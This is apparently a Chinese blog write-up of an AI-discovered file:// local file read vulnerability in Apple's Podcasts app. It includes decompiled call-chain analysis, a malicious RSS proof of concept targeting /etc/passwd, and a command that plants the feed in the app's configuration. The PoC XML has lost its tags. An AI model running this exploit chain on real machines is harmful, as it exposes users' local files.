0x01 前言摘要:函数接收用户提供的Feed URL,使用URL._unconditionallyBridgeFromObjectiveC直接转换为NSURL对象,并且没有任何URL验证或过滤机制而且支持所有URL协议,包括
这个漏洞完全通过AI自行挖掘得来的,并且复现后也发现确实存在并且成功利用。
而且后续通过AI深度研究,也出现了别的漏洞,编写了不需要打开应用就能读取到文件也是成功的为攻击者进行后渗透提供了方便!
0x02 漏洞成因这里我贴出一个核心组件关系图
并且AI还分析出了关键函数的调用链,大家可以看一下
在Feed URL处理 (0x10026b250)当中:
// 关键代码分析 - FeedManager.updateFeedstatic URL._unconditionallyBridgeFromObjectiveC(_:)(a3); // 直接转换用户URL
函数接收用户提供的Feed URL,使用URL._unconditionallyBridgeFromObjectiveC直接转换为NSURL对象,并且没有任何URL验证或过滤机制而且支持所有URL协议,包括 file://
然后AI通过从字符串分析发现关键函数:
// 0x100368544 - 插入新剧集到数据库insertNewEpisodeInManagedObjectContext:title:podcast:pubDate:byteSize:guid:uti:contentId:enclosureUrl:playStateSource:importSource:
// 0x1003770a6 - 处理价格类型和附件URL
_handlePriceTypesAndEnclosureUrls:localEpisode:isSubscriptionActive:
RSS解析器提取 标签的url属性,直接传递给insertNewEpisodeInManagedObjectContext函数,并且没有对enclosureUrl进行协议验证。
本来到这里就结束了,但是这里只能够通过点击应用来触发,这个时候我就让AI进行更别样的挖掘看看能不能直接通过脚本就实现文件读取,于是它便分析了下载管理器 (0x1002fca50)
// 关键代码分析 - EpisodeDownloadsManager.downloadEpisodemov rsi, cs:selRef_addOperationWithBlock_ // 添加下载任务
call _objc_msgSend(v12, "addOperationWithBlock:", v10); // 执行下载
这里的播客接收任意URL字符串作为下载目标,直接添加到NSOperationQueue执行,而且没有URL协议或路径验证。
然后在会话管理层面,从字符串当中分析:
// 0x10036adda - 启动下载任务startDownloadTaskForURL:userInitiated:useBackgroundFetch:usePrivatePath:downloadStartedBlock:
// 0x100388711 - 下载完成处理
URLSession:downloadTask:didFinishDownloadingToURL:
startDownloadTaskForURL 直接使用提供的URL创建下载任务,支持 file:// 协议,可以访问本地文件系统。
于是到这里整个利用链就完成了,这里为了方便演示我就不直接执行EXP而是通过点击应用来复现。
0x03 漏洞复现包括以下的POC都是AI进行提供的:
xml version="1.0" encoding="UTF-8"?>"2.0">
Exploit Podcast
Malicious podcast for file reading attack
en-us
Mon, 01 Jan 2024 00:00:00 GMT
file:///etc/passwd
Exploit Image
Episode 1 - File Reading
This episode will attempt to read sensitive files
"file:///etc/passwd"type="audio/mpeg" length="0"/>
exploit-episode-1
Mon, 01 Jan 2024 00:00:00 GMT
Episode 2 - Shadow File
Attempting to read shadow file
"file:///etc/passwd"type="audio/mpeg" length="0"/>
exploit-episode-2
这里将POC保存为 .xml 文件后,用Python开始服务就可以进行后续的利用了。 *# 使用defaults命令直接修改播客应用配置*
defaults write com.apple.podcasts PodcastFeedURLs -array "http://localhost:8080/malicious_feed.xml"
接下来我们只要打开播客应用点击在资料库当中的节目,里面有个节目网站即可触发漏洞了。
来源:寂寞的咖啡